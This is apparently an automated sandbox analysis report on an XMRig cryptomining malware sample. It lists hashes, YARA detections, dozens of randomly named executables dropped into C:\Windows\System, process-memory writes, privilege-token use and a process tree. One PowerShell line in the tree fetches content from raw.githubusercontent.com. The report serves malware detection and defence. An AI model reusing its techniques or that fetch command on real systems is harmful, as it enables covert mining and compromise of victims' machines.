xmrig | 76952f4ce396848504a0c2e3f0d6ad4e78c376f33a2cd2a953f956f303f69514

Analysis

max time kernel
93s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
30-04-2024 00:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
Size

1.6MB
MD5

08923e50e0004bba330f1f60b9bb08b1
SHA1

ca506df7da9d402f5195dd4845669ea5691bc2d8
SHA256

76952f4ce396848504a0c2e3f0d6ad4e78c376f33a2cd2a953f956f303f69514
SHA512

7905260797b44c0289b2dc2ca6adfd23003c847d5f32ce85cd85efbd06968d87e1fbcd2c7a2b3c425f4bca8e137398aad4535f0ca07d24bc3aa0f9bfbad17733
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWY1s38kQu12bPxvyuzaBgJ9pcFt3:Lz071uv4BPMkibTIA5I4TNrpDGgDQ7

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 43 IoCs

miner

resource	yara_rule
behavioral2/memory/1872-59-0x00007FF7BAE00000-0x00007FF7BB1F2000-memory.dmp	xmrig
behavioral2/memory/3128-386-0x00007FF6EEAF0000-0x00007FF6EEEE2000-memory.dmp	xmrig
behavioral2/memory/4200-389-0x00007FF634600000-0x00007FF6349F2000-memory.dmp	xmrig
behavioral2/memory/1880-388-0x00007FF737C60000-0x00007FF738052000-memory.dmp	xmrig
behavioral2/memory/4836-387-0x00007FF62A770000-0x00007FF62AB62000-memory.dmp	xmrig
behavioral2/memory/4776-385-0x00007FF61A2D0000-0x00007FF61A6C2000-memory.dmp	xmrig
behavioral2/memory/2832-384-0x00007FF7F4440000-0x00007FF7F4832000-memory.dmp	xmrig
behavioral2/memory/1680-383-0x00007FF629310000-0x00007FF629702000-memory.dmp	xmrig
behavioral2/memory/2112-96-0x00007FF6C1420000-0x00007FF6C1812000-memory.dmp	xmrig
behavioral2/memory/3192-60-0x00007FF701640000-0x00007FF701A32000-memory.dmp	xmrig
behavioral2/memory/3084-53-0x00007FF6FF100000-0x00007FF6FF4F2000-memory.dmp	xmrig
behavioral2/memory/2812-46-0x00007FF7FF230000-0x00007FF7FF622000-memory.dmp	xmrig
behavioral2/memory/4320-41-0x00007FF71AA90000-0x00007FF71AE82000-memory.dmp	xmrig
behavioral2/memory/2408-36-0x00007FF75C380000-0x00007FF75C772000-memory.dmp	xmrig
behavioral2/memory/3600-1997-0x00007FF6FAE20000-0x00007FF6FB212000-memory.dmp	xmrig
behavioral2/memory/1812-2008-0x00007FF60FC60000-0x00007FF610052000-memory.dmp	xmrig
behavioral2/memory/4320-2010-0x00007FF71AA90000-0x00007FF71AE82000-memory.dmp	xmrig
behavioral2/memory/3940-2011-0x00007FF75EF00000-0x00007FF75F2F2000-memory.dmp	xmrig
behavioral2/memory/3344-2013-0x00007FF702CF0000-0x00007FF7030E2000-memory.dmp	xmrig
behavioral2/memory/2312-2012-0x00007FF7E9AA0000-0x00007FF7E9E92000-memory.dmp	xmrig
behavioral2/memory/4144-2045-0x00007FF7B7580000-0x00007FF7B7972000-memory.dmp	xmrig
behavioral2/memory/4364-2056-0x00007FF65C530000-0x00007FF65C922000-memory.dmp	xmrig
behavioral2/memory/2812-2060-0x00007FF7FF230000-0x00007FF7FF622000-memory.dmp	xmrig
behavioral2/memory/3084-2062-0x00007FF6FF100000-0x00007FF6FF4F2000-memory.dmp	xmrig
behavioral2/memory/3600-2065-0x00007FF6FAE20000-0x00007FF6FB212000-memory.dmp	xmrig
behavioral2/memory/1812-2072-0x00007FF60FC60000-0x00007FF610052000-memory.dmp	xmrig
behavioral2/memory/4320-2071-0x00007FF71AA90000-0x00007FF71AE82000-memory.dmp	xmrig
behavioral2/memory/3192-2074-0x00007FF701640000-0x00007FF701A32000-memory.dmp	xmrig
behavioral2/memory/2408-2069-0x00007FF75C380000-0x00007FF75C772000-memory.dmp	xmrig
behavioral2/memory/1872-2067-0x00007FF7BAE00000-0x00007FF7BB1F2000-memory.dmp	xmrig
behavioral2/memory/1680-2086-0x00007FF629310000-0x00007FF629702000-memory.dmp	xmrig
behavioral2/memory/4836-2096-0x00007FF62A770000-0x00007FF62AB62000-memory.dmp	xmrig
behavioral2/memory/1880-2100-0x00007FF737C60000-0x00007FF738052000-memory.dmp	xmrig
behavioral2/memory/4200-2098-0x00007FF634600000-0x00007FF6349F2000-memory.dmp	xmrig
behavioral2/memory/3128-2094-0x00007FF6EEAF0000-0x00007FF6EEEE2000-memory.dmp	xmrig
behavioral2/memory/3344-2092-0x00007FF702CF0000-0x00007FF7030E2000-memory.dmp	xmrig
behavioral2/memory/4776-2091-0x00007FF61A2D0000-0x00007FF61A6C2000-memory.dmp	xmrig
behavioral2/memory/2312-2088-0x00007FF7E9AA0000-0x00007FF7E9E92000-memory.dmp	xmrig
behavioral2/memory/2832-2085-0x00007FF7F4440000-0x00007FF7F4832000-memory.dmp	xmrig
behavioral2/memory/3940-2082-0x00007FF75EF00000-0x00007FF75F2F2000-memory.dmp	xmrig
behavioral2/memory/4144-2080-0x00007FF7B7580000-0x00007FF7B7972000-memory.dmp	xmrig
behavioral2/memory/2112-2078-0x00007FF6C1420000-0x00007FF6C1812000-memory.dmp	xmrig
behavioral2/memory/4364-2077-0x00007FF65C530000-0x00007FF65C922000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	4480	powershell.exe
5	4480	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1812	fjQKLTt.exe
2812	xYcjzJQ.exe
3084	KBsAqyj.exe
2408	NyftLGq.exe
4320	szCCgOf.exe
3600	OzcivlJ.exe
1872	IuefiWu.exe
3192	jRMGLnP.exe
2312	eNTuPUd.exe
3344	QLqFpEm.exe
3940	gGZVhFJ.exe
4144	SGNcaDk.exe
2112	lvQITiv.exe
4364	hvlagnA.exe
1680	hIuGona.exe
2832	nAauPiL.exe
4776	BoryqHW.exe
3128	qYUhZEJ.exe
4836	IfpUgSP.exe
1880	AjVGcvR.exe
4200	QeohmCz.exe
4848	CKORhXG.exe
2584	ZGiUQKX.exe
1964	HXRPSPh.exe
3964	lMeAtTZ.exe
456	EaZNZsW.exe
3708	lUCqWuy.exe
4856	zVVbpFM.exe
1216	IlszNFU.exe
3788	HBClqFv.exe
4204	chpIGRC.exe
3952	abgFSXW.exe
3296	yYAnOrb.exe
2508	BLNlFWJ.exe
548	SvVuDie.exe
4484	ZffPqup.exe
3456	lAFxRrL.exe
920	ECtOEMW.exe
4824	vNtnKdS.exe
1736	noBeRdo.exe
5060	JdIkPVk.exe
3368	JYPVvKF.exe
4228	KTfiyln.exe
772	fYAWdbw.exe
744	ykGPDIp.exe
4044	NCcdXLQ.exe
4340	VPNyJgb.exe
320	Gzgyexm.exe
3076	HpfKUVz.exe
4436	eFgjEsZ.exe
4864	JneIvsO.exe
4552	TKJEnGt.exe
2096	RaKisbt.exe
1020	GavIhDm.exe
2840	wSaNZVb.exe
2536	bjJwQLx.exe
2964	uIXSkGA.exe
4328	OwXNoMY.exe
436	hEGZfAq.exe
3364	MhKwmXq.exe
688	BoRridt.exe
2288	xLhOBWI.exe
2220	umZDarD.exe
1156	UBhHdmb.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4548-0-0x00007FF789D20000-0x00007FF78A112000-memory.dmp	upx
behavioral2/files/0x0006000000023308-5.dat	upx
behavioral2/files/0x0007000000023485-14.dat	upx
behavioral2/files/0x0008000000023484-17.dat	upx
behavioral2/files/0x0007000000023487-23.dat	upx
behavioral2/files/0x0007000000023488-29.dat	upx
behavioral2/files/0x000700000002348a-43.dat	upx
behavioral2/memory/1872-59-0x00007FF7BAE00000-0x00007FF7BB1F2000-memory.dmp	upx
behavioral2/memory/3940-65-0x00007FF75EF00000-0x00007FF75F2F2000-memory.dmp	upx
behavioral2/memory/3344-72-0x00007FF702CF0000-0x00007FF7030E2000-memory.dmp	upx
behavioral2/memory/4144-90-0x00007FF7B7580000-0x00007FF7B7972000-memory.dmp	upx
behavioral2/files/0x0007000000023493-108.dat	upx
behavioral2/files/0x0007000000023498-148.dat	upx
behavioral2/files/0x000700000002349d-173.dat	upx
behavioral2/files/0x00070000000234a0-188.dat	upx
behavioral2/memory/3128-386-0x00007FF6EEAF0000-0x00007FF6EEEE2000-memory.dmp	upx
behavioral2/memory/4200-389-0x00007FF634600000-0x00007FF6349F2000-memory.dmp	upx
behavioral2/memory/1880-388-0x00007FF737C60000-0x00007FF738052000-memory.dmp	upx
behavioral2/memory/4836-387-0x00007FF62A770000-0x00007FF62AB62000-memory.dmp	upx
behavioral2/memory/4776-385-0x00007FF61A2D0000-0x00007FF61A6C2000-memory.dmp	upx
behavioral2/memory/2832-384-0x00007FF7F4440000-0x00007FF7F4832000-memory.dmp	upx
behavioral2/memory/1680-383-0x00007FF629310000-0x00007FF629702000-memory.dmp	upx
behavioral2/files/0x00070000000234a2-190.dat	upx
behavioral2/files/0x00070000000234a1-185.dat	upx
behavioral2/files/0x000700000002349f-183.dat	upx
behavioral2/files/0x000700000002349e-178.dat	upx
behavioral2/files/0x000700000002349c-168.dat	upx
behavioral2/files/0x000700000002349b-163.dat	upx
behavioral2/files/0x000700000002349a-158.dat	upx
behavioral2/files/0x0007000000023499-153.dat	upx
behavioral2/files/0x0007000000023497-143.dat	upx
behavioral2/files/0x0008000000023491-138.dat	upx
behavioral2/files/0x0007000000023496-133.dat	upx
behavioral2/files/0x0007000000023495-128.dat	upx
behavioral2/files/0x0007000000023494-123.dat	upx
behavioral2/files/0x0008000000023492-118.dat	upx
behavioral2/files/0x0008000000023482-113.dat	upx
behavioral2/files/0x0007000000023490-100.dat	upx
behavioral2/memory/4364-99-0x00007FF65C530000-0x00007FF65C922000-memory.dmp	upx
behavioral2/memory/2112-96-0x00007FF6C1420000-0x00007FF6C1812000-memory.dmp	upx
behavioral2/files/0x000700000002348f-94.dat	upx
behavioral2/files/0x000700000002348e-92.dat	upx
behavioral2/files/0x000700000002348d-74.dat	upx
behavioral2/files/0x000700000002348b-73.dat	upx
behavioral2/memory/2312-71-0x00007FF7E9AA0000-0x00007FF7E9E92000-memory.dmp	upx
behavioral2/files/0x000700000002348c-66.dat	upx
behavioral2/memory/3192-60-0x00007FF701640000-0x00007FF701A32000-memory.dmp	upx
behavioral2/memory/3084-53-0x00007FF6FF100000-0x00007FF6FF4F2000-memory.dmp	upx
behavioral2/files/0x0007000000023489-47.dat	upx
behavioral2/memory/2812-46-0x00007FF7FF230000-0x00007FF7FF622000-memory.dmp	upx
behavioral2/memory/3600-42-0x00007FF6FAE20000-0x00007FF6FB212000-memory.dmp	upx
behavioral2/memory/4320-41-0x00007FF71AA90000-0x00007FF71AE82000-memory.dmp	upx
behavioral2/memory/2408-36-0x00007FF75C380000-0x00007FF75C772000-memory.dmp	upx
behavioral2/files/0x0007000000023486-27.dat	upx
behavioral2/memory/1812-13-0x00007FF60FC60000-0x00007FF610052000-memory.dmp	upx
behavioral2/memory/3600-1997-0x00007FF6FAE20000-0x00007FF6FB212000-memory.dmp	upx
behavioral2/memory/1812-2008-0x00007FF60FC60000-0x00007FF610052000-memory.dmp	upx
behavioral2/memory/4320-2010-0x00007FF71AA90000-0x00007FF71AE82000-memory.dmp	upx
behavioral2/memory/3940-2011-0x00007FF75EF00000-0x00007FF75F2F2000-memory.dmp	upx
behavioral2/memory/3344-2013-0x00007FF702CF0000-0x00007FF7030E2000-memory.dmp	upx
behavioral2/memory/2312-2012-0x00007FF7E9AA0000-0x00007FF7E9E92000-memory.dmp	upx
behavioral2/memory/4144-2045-0x00007FF7B7580000-0x00007FF7B7972000-memory.dmp	upx
behavioral2/memory/4364-2056-0x00007FF65C530000-0x00007FF65C922000-memory.dmp	upx
behavioral2/memory/2812-2060-0x00007FF7FF230000-0x00007FF7FF622000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\QPwYAvf.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\szZhqip.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\eGgRGkZ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\bxhXuUw.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\dUNTxPb.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\pYBiioJ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\SgchFcw.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\ATmkNRx.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\TfvKIUd.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\adLgbld.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\SAVNnnI.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\CDCLzAl.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\Gzgyexm.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\bEzBcRl.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\BPjpszQ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\gHjGtlZ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\ovRAzGx.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\AWcjYgT.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\suQXzLW.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\awAbWGQ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\jaxoVpD.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\ahvjqNZ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\lSPIeUd.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\Qyyipli.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\jRMGLnP.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\CKORhXG.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\itceRdJ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\MhKwmXq.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\LNYIlms.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\QbZAZiE.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\hUxhirL.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\CEsjFPX.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\fUIgBcG.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\hdaAlzg.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\OhvpmES.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\CQLIRLz.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\bXxlkby.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\QuHtusu.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\ykGPDIp.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\TMvrfiS.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\LVEGMeC.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\YjHHjkW.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\OrunDvm.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\rLnDoLY.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\YKzvbep.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\mWorXbe.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\BKSOJUM.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\jZcTRFo.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\dRjriqp.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\uwqonHi.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\ADEpAKI.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\JvgKZzZ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\kYtHjjj.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\tqeMwiA.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\UYzaNnn.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\YqNKfyM.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\jTbeAPG.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\cYlwObs.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\SKDCGnP.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\UuIgFqq.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\yYAnOrb.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\eFgjEsZ.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\DBzbXmH.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
File created	C:\Windows\System\qQBjqJC.exe	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeLockMemoryPrivilege	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4480	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	83
PID 4548 wrote to memory of 4480	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	83
PID 4548 wrote to memory of 1812	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	84
PID 4548 wrote to memory of 1812	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	84
PID 4548 wrote to memory of 2812	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	85
PID 4548 wrote to memory of 2812	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	85
PID 4548 wrote to memory of 3084	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	86
PID 4548 wrote to memory of 3084	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	86
PID 4548 wrote to memory of 2408	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	87
PID 4548 wrote to memory of 2408	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	87
PID 4548 wrote to memory of 4320	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	88
PID 4548 wrote to memory of 4320	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	88
PID 4548 wrote to memory of 3600	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	89
PID 4548 wrote to memory of 3600	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	89
PID 4548 wrote to memory of 1872	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	90
PID 4548 wrote to memory of 1872	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	90
PID 4548 wrote to memory of 3192	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	91
PID 4548 wrote to memory of 3192	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	91
PID 4548 wrote to memory of 3344	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	92
PID 4548 wrote to memory of 3344	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	92
PID 4548 wrote to memory of 2312	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	93
PID 4548 wrote to memory of 2312	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	93
PID 4548 wrote to memory of 3940	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	94
PID 4548 wrote to memory of 3940	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	94
PID 4548 wrote to memory of 4144	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	95
PID 4548 wrote to memory of 4144	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	95
PID 4548 wrote to memory of 2112	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	96
PID 4548 wrote to memory of 2112	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	96
PID 4548 wrote to memory of 4364	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	97
PID 4548 wrote to memory of 4364	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	97
PID 4548 wrote to memory of 1680	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	98
PID 4548 wrote to memory of 1680	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	98
PID 4548 wrote to memory of 2832	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	99
PID 4548 wrote to memory of 2832	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	99
PID 4548 wrote to memory of 4776	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	100
PID 4548 wrote to memory of 4776	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	100
PID 4548 wrote to memory of 3128	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	101
PID 4548 wrote to memory of 3128	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	101
PID 4548 wrote to memory of 4836	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	102
PID 4548 wrote to memory of 4836	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	102
PID 4548 wrote to memory of 1880	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	103
PID 4548 wrote to memory of 1880	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	103
PID 4548 wrote to memory of 4200	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	104
PID 4548 wrote to memory of 4200	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	104
PID 4548 wrote to memory of 4848	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	105
PID 4548 wrote to memory of 4848	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	105
PID 4548 wrote to memory of 2584	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	106
PID 4548 wrote to memory of 2584	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	106
PID 4548 wrote to memory of 1964	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	107
PID 4548 wrote to memory of 1964	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	107
PID 4548 wrote to memory of 3964	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	108
PID 4548 wrote to memory of 3964	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	108
PID 4548 wrote to memory of 456	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	109
PID 4548 wrote to memory of 456	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	109
PID 4548 wrote to memory of 3708	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	110
PID 4548 wrote to memory of 3708	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	110
PID 4548 wrote to memory of 4856	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	111
PID 4548 wrote to memory of 4856	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	111
PID 4548 wrote to memory of 1216	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	112
PID 4548 wrote to memory of 1216	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	112
PID 4548 wrote to memory of 3788	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	113
PID 4548 wrote to memory of 3788	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	113
PID 4548 wrote to memory of 4204	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	114
PID 4548 wrote to memory of 4204	4548	08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\08923e50e0004bba330f1f60b9bb08b1_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4480
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4480" "2960" "2896" "2964" "0" "0" "2968" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:12708
- C:\Windows\System\fjQKLTt.exe
  C:\Windows\System\fjQKLTt.exe
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Windows\System\xYcjzJQ.exe
  C:\Windows\System\xYcjzJQ.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\KBsAqyj.exe
  C:\Windows\System\KBsAqyj.exe
  2⤵
  - Executes dropped EXE
  PID:3084
- C:\Windows\System\NyftLGq.exe
  C:\Windows\System\NyftLGq.exe
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Windows\System\szCCgOf.exe
  C:\Windows\System\szCCgOf.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\OzcivlJ.exe
  C:\Windows\System\OzcivlJ.exe
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Windows\System\IuefiWu.exe
